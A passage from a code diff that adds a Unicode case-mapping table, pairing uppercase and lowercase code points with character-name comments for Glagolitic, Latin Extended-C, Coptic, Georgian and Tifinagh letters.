+ [0x2bdd, 0x2bdd],
+ [0x2bde, 0x2bde],
+ [0x2bdf, 0x2bdf],
+ [0x2be0, 0x2be0],
+ [0x2be1, 0x2be1],
+ [0x2be2, 0x2be2],
+ [0x2be3, 0x2be3],
+ [0x2be4, 0x2be4],
+ [0x2be5, 0x2be5],
+ [0x2be6, 0x2be6],
+ [0x2be7, 0x2be7],
+ [0x2be8, 0x2be8],
+ [0x2be9, 0x2be9],
+ [0x2bea, 0x2bea],
+ [0x2beb, 0x2beb],
+ [0x2bec, 0x2bec], /* LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ [0x2bed, 0x2bed], /* UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ [0x2bee, 0x2bee], /* RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ [0x2bef, 0x2bef], /* DOWNWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS */
+ [0x2bf0, 0x2bf0],
+ [0x2bf1, 0x2bf1],
+ [0x2bf2, 0x2bf2],
+ [0x2bf3, 0x2bf3],
+ [0x2bf4, 0x2bf4],
+ [0x2bf5, 0x2bf5],
+ [0x2bf6, 0x2bf6],
+ [0x2bf7, 0x2bf7],
+ [0x2bf8, 0x2bf8],
+ [0x2bf9, 0x2bf9],
+ [0x2bfa, 0x2bfa],
+ [0x2bfb, 0x2bfb],
+ [0x2bfc, 0x2bfc],
+ [0x2bfd, 0x2bfd],
+ [0x2bfe, 0x2bfe],
+ [0x2bff, 0x2bff],
+ [0x2c00, 0x2c30], /* GLAGOLITIC CAPITAL LETTER AZU */
+ [0x2c01, 0x2c31], /* GLAGOLITIC CAPITAL LETTER BUKY */
+ [0x2c02, 0x2c32], /* GLAGOLITIC CAPITAL LETTER VEDE */
+ [0x2c03, 0x2c33], /* GLAGOLITIC CAPITAL LETTER GLAGOLI */
+ [0x2c04, 0x2c34], /* GLAGOLITIC CAPITAL LETTER DOBRO */
+ [0x2c05, 0x2c35], /* GLAGOLITIC CAPITAL LETTER YESTU */
+ [0x2c06, 0x2c36], /* GLAGOLITIC CAPITAL LETTER ZHIVETE */
+ [0x2c07, 0x2c37], /* GLAGOLITIC CAPITAL LETTER DZELO */
+ [0x2c08, 0x2c38], /* GLAGOLITIC CAPITAL LETTER ZEMLJA */
+ [0x2c09, 0x2c39], /* GLAGOLITIC CAPITAL LETTER IZHE */
+ [0x2c0a, 0x2c3a], /* GLAGOLITIC CAPITAL LETTER INITIAL IZHE */
+ [0x2c0b, 0x2c3b], /* GLAGOLITIC CAPITAL LETTER I */
+ [0x2c0c, 0x2c3c], /* GLAGOLITIC CAPITAL LETTER DJERVI */
+ [0x2c0d, 0x2c3d], /* GLAGOLITIC CAPITAL LETTER KAKO */
+ [0x2c0e, 0x2c3e], /* GLAGOLITIC CAPITAL LETTER LJUDIJE */
+ [0x2c0f, 0x2c3f], /* GLAGOLITIC CAPITAL LETTER MYSLITE */
+ [0x2c10, 0x2c40], /* GLAGOLITIC CAPITAL LETTER NASHI */
+ [0x2c11, 0x2c41], /* GLAGOLITIC CAPITAL LETTER ONU */
+ [0x2c12, 0x2c42], /* GLAGOLITIC CAPITAL LETTER POKOJI */
+ [0x2c13, 0x2c43], /* GLAGOLITIC CAPITAL LETTER RITSI */
+ [0x2c14, 0x2c44], /* GLAGOLITIC CAPITAL LETTER SLOVO */
+ [0x2c15, 0x2c45], /* GLAGOLITIC CAPITAL LETTER TVRIDO */
+ [0x2c16, 0x2c46], /* GLAGOLITIC CAPITAL LETTER UKU */
+ [0x2c17, 0x2c47], /* GLAGOLITIC CAPITAL LETTER FRITU */
+ [0x2c18, 0x2c48], /* GLAGOLITIC CAPITAL LETTER HERU */
+ [0x2c19, 0x2c49], /* GLAGOLITIC CAPITAL LETTER OTU */
+ [0x2c1a, 0x2c4a], /* GLAGOLITIC CAPITAL LETTER PE */
+ [0x2c1b, 0x2c4b], /* GLAGOLITIC CAPITAL LETTER SHTA */
+ [0x2c1c, 0x2c4c], /* GLAGOLITIC CAPITAL LETTER TSI */
+ [0x2c1d, 0x2c4d], /* GLAGOLITIC CAPITAL LETTER CHRIVI */
+ [0x2c1e, 0x2c4e], /* GLAGOLITIC CAPITAL LETTER SHA */
+ [0x2c1f, 0x2c4f], /* GLAGOLITIC CAPITAL LETTER YERU */
+ [0x2c20, 0x2c50], /* GLAGOLITIC CAPITAL LETTER YERI */
+ [0x2c21, 0x2c51], /* GLAGOLITIC CAPITAL LETTER YATI */
+ [0x2c22, 0x2c52], /* GLAGOLITIC CAPITAL LETTER SPIDERY HA */
+ [0x2c23, 0x2c53], /* GLAGOLITIC CAPITAL LETTER YU */
+ [0x2c24, 0x2c54], /* GLAGOLITIC CAPITAL LETTER SMALL YUS */
+ [0x2c25, 0x2c55], /* GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL */
+ [0x2c26, 0x2c56], /* GLAGOLITIC CAPITAL LETTER YO */
+ [0x2c27, 0x2c57], /* GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS */
+ [0x2c28, 0x2c58], /* GLAGOLITIC CAPITAL LETTER BIG YUS */
+ [0x2c29, 0x2c59], /* GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS */
+ [0x2c2a, 0x2c5a], /* GLAGOLITIC CAPITAL LETTER FITA */
+ [0x2c2b, 0x2c5b], /* GLAGOLITIC CAPITAL LETTER IZHITSA */
+ [0x2c2c, 0x2c5c], /* GLAGOLITIC CAPITAL LETTER SHTAPIC */
+ [0x2c2d, 0x2c5d], /* GLAGOLITIC CAPITAL LETTER TROKUTASTI A */
+ [0x2c2e, 0x2c5e], /* GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE */
+ [0x2c2f, 0x2c2f],
+ [0x2c00, 0x2c30], /* GLAGOLITIC SMALL LETTER AZU */
+ [0x2c01, 0x2c31], /* GLAGOLITIC SMALL LETTER BUKY */
+ [0x2c02, 0x2c32], /* GLAGOLITIC SMALL LETTER VEDE */
+ [0x2c03, 0x2c33], /* GLAGOLITIC SMALL LETTER GLAGOLI */
+ [0x2c04, 0x2c34], /* GLAGOLITIC SMALL LETTER DOBRO */
+ [0x2c05, 0x2c35], /* GLAGOLITIC SMALL LETTER YESTU */
+ [0x2c06, 0x2c36], /* GLAGOLITIC SMALL LETTER ZHIVETE */
+ [0x2c07, 0x2c37], /* GLAGOLITIC SMALL LETTER DZELO */
+ [0x2c08, 0x2c38], /* GLAGOLITIC SMALL LETTER ZEMLJA */
+ [0x2c09, 0x2c39], /* GLAGOLITIC SMALL LETTER IZHE */
+ [0x2c0a, 0x2c3a], /* GLAGOLITIC SMALL LETTER INITIAL IZHE */
+ [0x2c0b, 0x2c3b], /* GLAGOLITIC SMALL LETTER I */
+ [0x2c0c, 0x2c3c], /* GLAGOLITIC SMALL LETTER DJERVI */
+ [0x2c0d, 0x2c3d], /* GLAGOLITIC SMALL LETTER KAKO */
+ [0x2c0e, 0x2c3e], /* GLAGOLITIC SMALL LETTER LJUDIJE */
+ [0x2c0f, 0x2c3f], /* GLAGOLITIC SMALL LETTER MYSLITE */
+ [0x2c10, 0x2c40], /* GLAGOLITIC SMALL LETTER NASHI */
+ [0x2c11, 0x2c41], /* GLAGOLITIC SMALL LETTER ONU */
+ [0x2c12, 0x2c42], /* GLAGOLITIC SMALL LETTER POKOJI */
+ [0x2c13, 0x2c43], /* GLAGOLITIC SMALL LETTER RITSI */
+ [0x2c14, 0x2c44], /* GLAGOLITIC SMALL LETTER SLOVO */
+ [0x2c15, 0x2c45], /* GLAGOLITIC SMALL LETTER TVRIDO */
+ [0x2c16, 0x2c46], /* GLAGOLITIC SMALL LETTER UKU */
+ [0x2c17, 0x2c47], /* GLAGOLITIC SMALL LETTER FRITU */
+ [0x2c18, 0x2c48], /* GLAGOLITIC SMALL LETTER HERU */
+ [0x2c19, 0x2c49], /* GLAGOLITIC SMALL LETTER OTU */
+ [0x2c1a, 0x2c4a], /* GLAGOLITIC SMALL LETTER PE */
+ [0x2c1b, 0x2c4b], /* GLAGOLITIC SMALL LETTER SHTA */
+ [0x2c1c, 0x2c4c], /* GLAGOLITIC SMALL LETTER TSI */
+ [0x2c1d, 0x2c4d], /* GLAGOLITIC SMALL LETTER CHRIVI */
+ [0x2c1e, 0x2c4e], /* GLAGOLITIC SMALL LETTER SHA */
+ [0x2c1f, 0x2c4f], /* GLAGOLITIC SMALL LETTER YERU */
+ [0x2c20, 0x2c50], /* GLAGOLITIC SMALL LETTER YERI */
+ [0x2c21, 0x2c51], /* GLAGOLITIC SMALL LETTER YATI */
+ [0x2c22, 0x2c52], /* GLAGOLITIC SMALL LETTER SPIDERY HA */
+ [0x2c23, 0x2c53], /* GLAGOLITIC SMALL LETTER YU */
+ [0x2c24, 0x2c54], /* GLAGOLITIC SMALL LETTER SMALL YUS */
+ [0x2c25, 0x2c55], /* GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL */
+ [0x2c26, 0x2c56], /* GLAGOLITIC SMALL LETTER YO */
+ [0x2c27, 0x2c57], /* GLAGOLITIC SMALL LETTER IOTATED SMALL YUS */
+ [0x2c28, 0x2c58], /* GLAGOLITIC SMALL LETTER BIG YUS */
+ [0x2c29, 0x2c59], /* GLAGOLITIC SMALL LETTER IOTATED BIG YUS */
+ [0x2c2a, 0x2c5a], /* GLAGOLITIC SMALL LETTER FITA */
+ [0x2c2b, 0x2c5b], /* GLAGOLITIC SMALL LETTER IZHITSA */
+ [0x2c2c, 0x2c5c], /* GLAGOLITIC SMALL LETTER SHTAPIC */
+ [0x2c2d, 0x2c5d], /* GLAGOLITIC SMALL LETTER TROKUTASTI A */
+ [0x2c2e, 0x2c5e], /* GLAGOLITIC SMALL LETTER LATINATE MYSLITE */
+ [0x2c5f, 0x2c5f],
+ [0x2c60, 0x2c61], /* LATIN CAPITAL LETTER L WITH DOUBLE BAR */
+ [0x2c60, 0x2c61], /* LATIN SMALL LETTER L WITH DOUBLE BAR */
+ [0x2c62, 0x26b], /* LATIN CAPITAL LETTER L WITH MIDDLE TILDE */
+ [0x2c63, 0x1d7d], /* LATIN CAPITAL LETTER P WITH STROKE */
+ [0x2c64, 0x27d], /* LATIN CAPITAL LETTER R WITH TAIL */
+ [0x23a, 0x2c65], /* LATIN SMALL LETTER A WITH STROKE */
+ [0x23e, 0x2c66], /* LATIN SMALL LETTER T WITH DIAGONAL STROKE */
+ [0x2c67, 0x2c68], /* LATIN CAPITAL LETTER H WITH DESCENDER */
+ [0x2c67, 0x2c68], /* LATIN SMALL LETTER H WITH DESCENDER */
+ [0x2c69, 0x2c6a], /* LATIN CAPITAL LETTER K WITH DESCENDER */
+ [0x2c69, 0x2c6a], /* LATIN SMALL LETTER K WITH DESCENDER */
+ [0x2c6b, 0x2c6c], /* LATIN CAPITAL LETTER Z WITH DESCENDER */
+ [0x2c6b, 0x2c6c], /* LATIN SMALL LETTER Z WITH DESCENDER */
+ [0x2c6d, 0x251], /* LATIN CAPITAL LETTER ALPHA */
+ [0x2c6e, 0x271], /* LATIN CAPITAL LETTER M WITH HOOK */
+ [0x2c6f, 0x250], /* LATIN CAPITAL LETTER TURNED A */
+ [0x2c70, 0x252], /* LATIN CAPITAL LETTER TURNED ALPHA */
+ [0x2c71, 0x2c71], /* LATIN SMALL LETTER V WITH RIGHT HOOK */
+ [0x2c72, 0x2c73], /* LATIN CAPITAL LETTER W WITH HOOK */
+ [0x2c72, 0x2c73], /* LATIN SMALL LETTER W WITH HOOK */
+ [0x2c74, 0x2c74], /* LATIN SMALL LETTER V WITH CURL */
+ [0x2c75, 0x2c76], /* LATIN CAPITAL LETTER HALF H */
+ [0x2c75, 0x2c76], /* LATIN SMALL LETTER HALF H */
+ [0x2c77, 0x2c77], /* LATIN SMALL LETTER TAILLESS PHI */
+ [0x2c78, 0x2c78], /* LATIN SMALL LETTER E WITH NOTCH */
+ [0x2c79, 0x2c79], /* LATIN SMALL LETTER TURNED R WITH TAIL */
+ [0x2c7a, 0x2c7a], /* LATIN SMALL LETTER O WITH LOW RING INSIDE */
+ [0x2c7b, 0x2c7b], /* LATIN LETTER SMALL CAPITAL TURNED E */
+ [0x2c7c, 0x2c7c], /* LATIN SUBSCRIPT SMALL LETTER J */
+ [0x2c7d, 0x2c7d], /* MODIFIER LETTER CAPITAL V */
+ [0x2c7e, 0x23f], /* LATIN CAPITAL LETTER S WITH SWASH TAIL */
+ [0x2c7f, 0x240], /* LATIN CAPITAL LETTER Z WITH SWASH TAIL */
+ [0x2c80, 0x2c81], /* COPTIC CAPITAL LETTER ALFA */
+ [0x2c80, 0x2c81], /* COPTIC SMALL LETTER ALFA */
+ [0x2c82, 0x2c83], /* COPTIC CAPITAL LETTER VIDA */
+ [0x2c82, 0x2c83], /* COPTIC SMALL LETTER VIDA */
+ [0x2c84, 0x2c85], /* COPTIC CAPITAL LETTER GAMMA */
+ [0x2c84, 0x2c85], /* COPTIC SMALL LETTER GAMMA */
+ [0x2c86, 0x2c87], /* COPTIC CAPITAL LETTER DALDA */
+ [0x2c86, 0x2c87], /* COPTIC SMALL LETTER DALDA */
+ [0x2c88, 0x2c89], /* COPTIC CAPITAL LETTER EIE */
+ [0x2c88, 0x2c89], /* COPTIC SMALL LETTER EIE */
+ [0x2c8a, 0x2c8b], /* COPTIC CAPITAL LETTER SOU */
+ [0x2c8a, 0x2c8b], /* COPTIC SMALL LETTER SOU */
+ [0x2c8c, 0x2c8d], /* COPTIC CAPITAL LETTER ZATA */
+ [0x2c8c, 0x2c8d], /* COPTIC SMALL LETTER ZATA */
+ [0x2c8e, 0x2c8f], /* COPTIC CAPITAL LETTER HATE */
+ [0x2c8e, 0x2c8f], /* COPTIC SMALL LETTER HATE */
+ [0x2c90, 0x2c91], /* COPTIC CAPITAL LETTER THETHE */
+ [0x2c90, 0x2c91], /* COPTIC SMALL LETTER THETHE */
+ [0x2c92, 0x2c93], /* COPTIC CAPITAL LETTER IAUDA */
+ [0x2c92, 0x2c93], /* COPTIC SMALL LETTER IAUDA */
+ [0x2c94, 0x2c95], /* COPTIC CAPITAL LETTER KAPA */
+ [0x2c94, 0x2c95], /* COPTIC SMALL LETTER KAPA */
+ [0x2c96, 0x2c97], /* COPTIC CAPITAL LETTER LAULA */
+ [0x2c96, 0x2c97], /* COPTIC SMALL LETTER LAULA */
+ [0x2c98, 0x2c99], /* COPTIC CAPITAL LETTER MI */
+ [0x2c98, 0x2c99], /* COPTIC SMALL LETTER MI */
+ [0x2c9a, 0x2c9b], /* COPTIC CAPITAL LETTER NI */
+ [0x2c9a, 0x2c9b], /* COPTIC SMALL LETTER NI */
+ [0x2c9c, 0x2c9d], /* COPTIC CAPITAL LETTER KSI */
+ [0x2c9c, 0x2c9d], /* COPTIC SMALL LETTER KSI */
+ [0x2c9e, 0x2c9f], /* COPTIC CAPITAL LETTER O */
+ [0x2c9e, 0x2c9f], /* COPTIC SMALL LETTER O */
+ [0x2ca0, 0x2ca1], /* COPTIC CAPITAL LETTER PI */
+ [0x2ca0, 0x2ca1], /* COPTIC SMALL LETTER PI */
+ [0x2ca2, 0x2ca3], /* COPTIC CAPITAL LETTER RO */
+ [0x2ca2, 0x2ca3], /* COPTIC SMALL LETTER RO */
+ [0x2ca4, 0x2ca5], /* COPTIC CAPITAL LETTER SIMA */
+ [0x2ca4, 0x2ca5], /* COPTIC SMALL LETTER SIMA */
+ [0x2ca6, 0x2ca7], /* COPTIC CAPITAL LETTER TAU */
+ [0x2ca6, 0x2ca7], /* COPTIC SMALL LETTER TAU */
+ [0x2ca8, 0x2ca9], /* COPTIC CAPITAL LETTER UA */
+ [0x2ca8, 0x2ca9], /* COPTIC SMALL LETTER UA */
+ [0x2caa, 0x2cab], /* COPTIC CAPITAL LETTER FI */
+ [0x2caa, 0x2cab], /* COPTIC SMALL LETTER FI */
+ [0x2cac, 0x2cad], /* COPTIC CAPITAL LETTER KHI */
+ [0x2cac, 0x2cad], /* COPTIC SMALL LETTER KHI */
+ [0x2cae, 0x2caf], /* COPTIC CAPITAL LETTER PSI */
+ [0x2cae, 0x2caf], /* COPTIC SMALL LETTER PSI */
+ [0x2cb0, 0x2cb1], /* COPTIC CAPITAL LETTER OOU */
+ [0x2cb0, 0x2cb1], /* COPTIC SMALL LETTER OOU */
+ [0x2cb2, 0x2cb3], /* COPTIC CAPITAL LETTER DIALECT-P ALEF */
+ [0x2cb2, 0x2cb3], /* COPTIC SMALL LETTER DIALECT-P ALEF */
+ [0x2cb4, 0x2cb5], /* COPTIC CAPITAL LETTER OLD COPTIC AIN */
+ [0x2cb4, 0x2cb5], /* COPTIC SMALL LETTER OLD COPTIC AIN */
+ [0x2cb6, 0x2cb7], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE */
+ [0x2cb6, 0x2cb7], /* COPTIC SMALL LETTER CRYPTOGRAMMIC EIE */
+ [0x2cb8, 0x2cb9], /* COPTIC CAPITAL LETTER DIALECT-P KAPA */
+ [0x2cb8, 0x2cb9], /* COPTIC SMALL LETTER DIALECT-P KAPA */
+ [0x2cba, 0x2cbb], /* COPTIC CAPITAL LETTER DIALECT-P NI */
+ [0x2cba, 0x2cbb], /* COPTIC SMALL LETTER DIALECT-P NI */
+ [0x2cbc, 0x2cbd], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI */
+ [0x2cbc, 0x2cbd], /* COPTIC SMALL LETTER CRYPTOGRAMMIC NI */
+ [0x2cbe, 0x2cbf], /* COPTIC CAPITAL LETTER OLD COPTIC OOU */
+ [0x2cbe, 0x2cbf], /* COPTIC SMALL LETTER OLD COPTIC OOU */
+ [0x2cc0, 0x2cc1], /* COPTIC CAPITAL LETTER SAMPI */
+ [0x2cc0, 0x2cc1], /* COPTIC SMALL LETTER SAMPI */
+ [0x2cc2, 0x2cc3], /* COPTIC CAPITAL LETTER CROSSED SHEI */
+ [0x2cc2, 0x2cc3], /* COPTIC SMALL LETTER CROSSED SHEI */
+ [0x2cc4, 0x2cc5], /* COPTIC CAPITAL LETTER OLD COPTIC SHEI */
+ [0x2cc4, 0x2cc5], /* COPTIC SMALL LETTER OLD COPTIC SHEI */
+ [0x2cc6, 0x2cc7], /* COPTIC CAPITAL LETTER OLD COPTIC ESH */
+ [0x2cc6, 0x2cc7], /* COPTIC SMALL LETTER OLD COPTIC ESH */
+ [0x2cc8, 0x2cc9], /* COPTIC CAPITAL LETTER AKHMIMIC KHEI */
+ [0x2cc8, 0x2cc9], /* COPTIC SMALL LETTER AKHMIMIC KHEI */
+ [0x2cca, 0x2ccb], /* COPTIC CAPITAL LETTER DIALECT-P HORI */
+ [0x2cca, 0x2ccb], /* COPTIC SMALL LETTER DIALECT-P HORI */
+ [0x2ccc, 0x2ccd], /* COPTIC CAPITAL LETTER OLD COPTIC HORI */
+ [0x2ccc, 0x2ccd], /* COPTIC SMALL LETTER OLD COPTIC HORI */
+ [0x2cce, 0x2ccf], /* COPTIC CAPITAL LETTER OLD COPTIC HA */
+ [0x2cce, 0x2ccf], /* COPTIC SMALL LETTER OLD COPTIC HA */
+ [0x2cd0, 0x2cd1], /* COPTIC CAPITAL LETTER L-SHAPED HA */
+ [0x2cd0, 0x2cd1], /* COPTIC SMALL LETTER L-SHAPED HA */
+ [0x2cd2, 0x2cd3], /* COPTIC CAPITAL LETTER OLD COPTIC HEI */
+ [0x2cd2, 0x2cd3], /* COPTIC SMALL LETTER OLD COPTIC HEI */
+ [0x2cd4, 0x2cd5], /* COPTIC CAPITAL LETTER OLD COPTIC HAT */
+ [0x2cd4, 0x2cd5], /* COPTIC SMALL LETTER OLD COPTIC HAT */
+ [0x2cd6, 0x2cd7], /* COPTIC CAPITAL LETTER OLD COPTIC GANGIA */
+ [0x2cd6, 0x2cd7], /* COPTIC SMALL LETTER OLD COPTIC GANGIA */
+ [0x2cd8, 0x2cd9], /* COPTIC CAPITAL LETTER OLD COPTIC DJA */
+ [0x2cd8, 0x2cd9], /* COPTIC SMALL LETTER OLD COPTIC DJA */
+ [0x2cda, 0x2cdb], /* COPTIC CAPITAL LETTER OLD COPTIC SHIMA */
+ [0x2cda, 0x2cdb], /* COPTIC SMALL LETTER OLD COPTIC SHIMA */
+ [0x2cdc, 0x2cdd], /* COPTIC CAPITAL LETTER OLD NUBIAN SHIMA */
+ [0x2cdc, 0x2cdd], /* COPTIC SMALL LETTER OLD NUBIAN SHIMA */
+ [0x2cde, 0x2cdf], /* COPTIC CAPITAL LETTER OLD NUBIAN NGI */
+ [0x2cde, 0x2cdf], /* COPTIC SMALL LETTER OLD NUBIAN NGI */
+ [0x2ce0, 0x2ce1], /* COPTIC CAPITAL LETTER OLD NUBIAN NYI */
+ [0x2ce0, 0x2ce1], /* COPTIC SMALL LETTER OLD NUBIAN NYI */
+ [0x2ce2, 0x2ce3], /* COPTIC CAPITAL LETTER OLD NUBIAN WAU */
+ [0x2ce2, 0x2ce3], /* COPTIC SMALL LETTER OLD NUBIAN WAU */
+ [0x2ce4, 0x2ce4], /* COPTIC SYMBOL KAI */
+ [0x2ce5, 0x2ce5], /* COPTIC SYMBOL MI RO */
+ [0x2ce6, 0x2ce6], /* COPTIC SYMBOL PI RO */
+ [0x2ce7, 0x2ce7], /* COPTIC SYMBOL STAUROS */
+ [0x2ce8, 0x2ce8], /* COPTIC SYMBOL TAU RO */
+ [0x2ce9, 0x2ce9], /* COPTIC SYMBOL KHI RO */
+ [0x2cea, 0x2cea], /* COPTIC SYMBOL SHIMA SIMA */
+ [0x2ceb, 0x2cec], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI */
+ [0x2ceb, 0x2cec], /* COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI */
+ [0x2ced, 0x2cee], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA */
+ [0x2ced, 0x2cee], /* COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA */
+ [0x2cef, 0x2cef], /* COPTIC COMBINING NI ABOVE */
+ [0x2cf0, 0x2cf0], /* COPTIC COMBINING SPIRITUS ASPER */
+ [0x2cf1, 0x2cf1], /* COPTIC COMBINING SPIRITUS LENIS */
+ [0x2cf2, 0x2cf3], /* COPTIC CAPITAL LETTER BOHAIRIC KHEI */
+ [0x2cf2, 0x2cf3], /* COPTIC SMALL LETTER BOHAIRIC KHEI */
+ [0x2cf4, 0x2cf4],
+ [0x2cf5, 0x2cf5],
+ [0x2cf6, 0x2cf6],
+ [0x2cf7, 0x2cf7],
+ [0x2cf8, 0x2cf8],
+ [0x2cf9, 0x2cf9], /* COPTIC OLD NUBIAN FULL STOP */
+ [0x2cfa, 0x2cfa], /* COPTIC OLD NUBIAN DIRECT QUESTION MARK */
+ [0x2cfb, 0x2cfb], /* COPTIC OLD NUBIAN INDIRECT QUESTION MARK */
+ [0x2cfc, 0x2cfc], /* COPTIC OLD NUBIAN VERSE DIVIDER */
+ [0x2cfd, 0x2cfd], /* COPTIC FRACTION ONE HALF */
+ [0x2cfe, 0x2cfe], /* COPTIC FULL STOP */
+ [0x2cff, 0x2cff], /* COPTIC MORPHOLOGICAL DIVIDER */
+ [0x10a0, 0x2d00], /* GEORGIAN SMALL LETTER AN */
+ [0x10a1, 0x2d01], /* GEORGIAN SMALL LETTER BAN */
+ [0x10a2, 0x2d02], /* GEORGIAN SMALL LETTER GAN */
+ [0x10a3, 0x2d03], /* GEORGIAN SMALL LETTER DON */
+ [0x10a4, 0x2d04], /* GEORGIAN SMALL LETTER EN */
+ [0x10a5, 0x2d05], /* GEORGIAN SMALL LETTER VIN */
+ [0x10a6, 0x2d06], /* GEORGIAN SMALL LETTER ZEN */
+ [0x10a7, 0x2d07], /* GEORGIAN SMALL LETTER TAN */
+ [0x10a8, 0x2d08], /* GEORGIAN SMALL LETTER IN */
+ [0x10a9, 0x2d09], /* GEORGIAN SMALL LETTER KAN */
+ [0x10aa, 0x2d0a], /* GEORGIAN SMALL LETTER LAS */
+ [0x10ab, 0x2d0b], /* GEORGIAN SMALL LETTER MAN */
+ [0x10ac, 0x2d0c], /* GEORGIAN SMALL LETTER NAR */
+ [0x10ad, 0x2d0d], /* GEORGIAN SMALL LETTER ON */
+ [0x10ae, 0x2d0e], /* GEORGIAN SMALL LETTER PAR */
+ [0x10af, 0x2d0f], /* GEORGIAN SMALL LETTER ZHAR */
+ [0x10b0, 0x2d10], /* GEORGIAN SMALL LETTER RAE */
+ [0x10b1, 0x2d11], /* GEORGIAN SMALL LETTER SAN */
+ [0x10b2, 0x2d12], /* GEORGIAN SMALL LETTER TAR */
+ [0x10b3, 0x2d13], /* GEORGIAN SMALL LETTER UN */
+ [0x10b4, 0x2d14], /* GEORGIAN SMALL LETTER PHAR */
+ [0x10b5, 0x2d15], /* GEORGIAN SMALL LETTER KHAR */
+ [0x10b6, 0x2d16], /* GEORGIAN SMALL LETTER GHAN */
+ [0x10b7, 0x2d17], /* GEORGIAN SMALL LETTER QAR */
+ [0x10b8, 0x2d18], /* GEORGIAN SMALL LETTER SHIN */
+ [0x10b9, 0x2d19], /* GEORGIAN SMALL LETTER CHIN */
+ [0x10ba, 0x2d1a], /* GEORGIAN SMALL LETTER CAN */
+ [0x10bb, 0x2d1b], /* GEORGIAN SMALL LETTER JIL */
+ [0x10bc, 0x2d1c], /* GEORGIAN SMALL LETTER CIL */
+ [0x10bd, 0x2d1d], /* GEORGIAN SMALL LETTER CHAR */
+ [0x10be, 0x2d1e], /* GEORGIAN SMALL LETTER XAN */
+ [0x10bf, 0x2d1f], /* GEORGIAN SMALL LETTER JHAN */
+ [0x10c0, 0x2d20], /* GEORGIAN SMALL LETTER HAE */
+ [0x10c1, 0x2d21], /* GEORGIAN SMALL LETTER HE */
+ [0x10c2, 0x2d22], /* GEORGIAN SMALL LETTER HIE */
+ [0x10c3, 0x2d23], /* GEORGIAN SMALL LETTER WE */
+ [0x10c4, 0x2d24], /* GEORGIAN SMALL LETTER HAR */
+ [0x10c5, 0x2d25], /* GEORGIAN SMALL LETTER HOE */
+ [0x2d26, 0x2d26],
+ [0x10c7, 0x2d27], /* GEORGIAN SMALL LETTER YN */
+ [0x2d28, 0x2d28],
+ [0x2d29, 0x2d29],
+ [0x2d2a, 0x2d2a],
+ [0x2d2b, 0x2d2b],
+ [0x2d2c, 0x2d2c],
+ [0x10cd, 0x2d2d], /* GEORGIAN SMALL LETTER AEN */
+ [0x2d2e, 0x2d2e],
+ [0x2d2f, 0x2d2f],
+ [0x2d30, 0x2d30], /* TIFINAGH LETTER YA */
+ [0x2d31, 0x2d31], /* TIFINAGH LETTER YAB */
+ [0x2d32, 0x2d32], /* TIFINAGH LETTER YABH */
+ [0x2d33, 0x2d33], /* TIFINAGH LETTER YAG */
+ [0x2d34, 0x2d34], /* TIFINAGH LETTER YAGHH */
+ [0x2d35, 0x2d35], /* TIFINAGH LETTER BERBER ACADEMY YAJ */
+ [0x2d36, 0x2d36], /* TIFINAGH LETTER YAJ */
+ [0x2d37, 0x2d37], /* TIFINAGH LETTER YAD */
+ [0x2d38, 0x2d38], /* TIFINAGH LETTER YADH */
+ [0x2d39, 0x2d39], /* TIFINAGH LETTER YADD */
+ [0x2d3a, 0x2d3a], /* TIFINAGH LETTER YADDH */
+ [0x2d3b, 0x2d3b], /* TIFINAGH LETTER YEY */
+ [0x2d3c, 0x2d3c], /* TIFINAGH LETTER YAF */
+ [0x2d3d, 0x2d3d], /* TIFINAGH LETTER YAK */
+ [0x2d3e, 0x2d3e], /* TIFINAGH LETTER TUAREG YAK */
+ [0x2d3f, 0x2d3f], /* TIFINAGH LETTER YAKHH */
+ [0x2d40, 0x2d40], /* TIFINAGH LETTER YAH */
+ [0x2d41, 0x2d41], /* TIFINAGH LETTER BERBER ACADEMY YAH */
+ [0x2d42, 0x2d42], /* TIFINAGH LETTER TUAREG YAH */
+ [0x2d43, 0x2d43], /* TIFINAGH LETTER YAHH */
+ [0x2d44, 0x2d44], /* TIFINAGH LETTER YAA */
+ [0x2d45, 0x2d45], /* TIFINAGH LETTER YAKH */
+ [0x2d46, 0x2d46], /* TIFINAGH LETTER TUAREG YAKH */
+ [0x2d47, 0x2d47], /* TIFINAGH LETTER YAQ */
+ [0x2d48, 0x2d48], /* TIFINAGH LETTER TUAREG YAQ */
+ [0x2d49, 0x2d49], /* TIFINAGH LETTER YI */
+ [0x2d4a, 0x2d4a], /* TIFINAGH LETTER YAZH */
+ [0x2d4b, 0x2d4b], /* TIFINAGH LETTER AHAGGAR YAZH */
+ [0x2d4c, 0x2d4c], /* TIFINAGH LETTER TUAREG YAZH */
+ [0x2d4d, 0x2d4d], /* TIFINAGH LETTER YAL */
+ [0x2d4e, 0x2d4e], /* TIFINAGH LETTER YAM */
+ [0x2d4f, 0x2d4f], /* TIFINAGH LETTER YAN */
+ [0x2d50, 0x2d50], /* TIFINAGH LETTER TUAREG YAGN */
+ [0x2d51, 0x2d51], /* TIFINAGH LETTER TUAREG YANG */
+ [0x2d52, 0x2d52], /* TIFINAGH LETTER YAP */
+ [0x2d53, 0x2d53], /* TIFINAGH LETTER YU */
+ [0x2d54, 0x2d54], /* TIFINAGH LETTER YAR */
+ [0x2d55, 0x2d55], /* TIFINAGH LETTER YARR */
+ [0x2d56, 0x2d56], /* TIFINAGH LETTER YAGH */
+ [0x2d57, 0x2d57], /* TIFINAGH LETTER TUAREG YAGH */
+ [0x2d58, 0x2d58], /* TIFINAGH LETTER AYER YAGH */
+ [0x2d59, 0x2d59], /* TIFINAGH LETTER YAS */
+ [0x2d5a, 0x2d5a], /* TIFINAGH LETTER YASS */
+ [0x2d5b, 0x2d5b], /* TIFINAGH LETTER YASH */
+ [0x2d5c, 0x2d5c], /* TIFINAGH LETTER YAT */
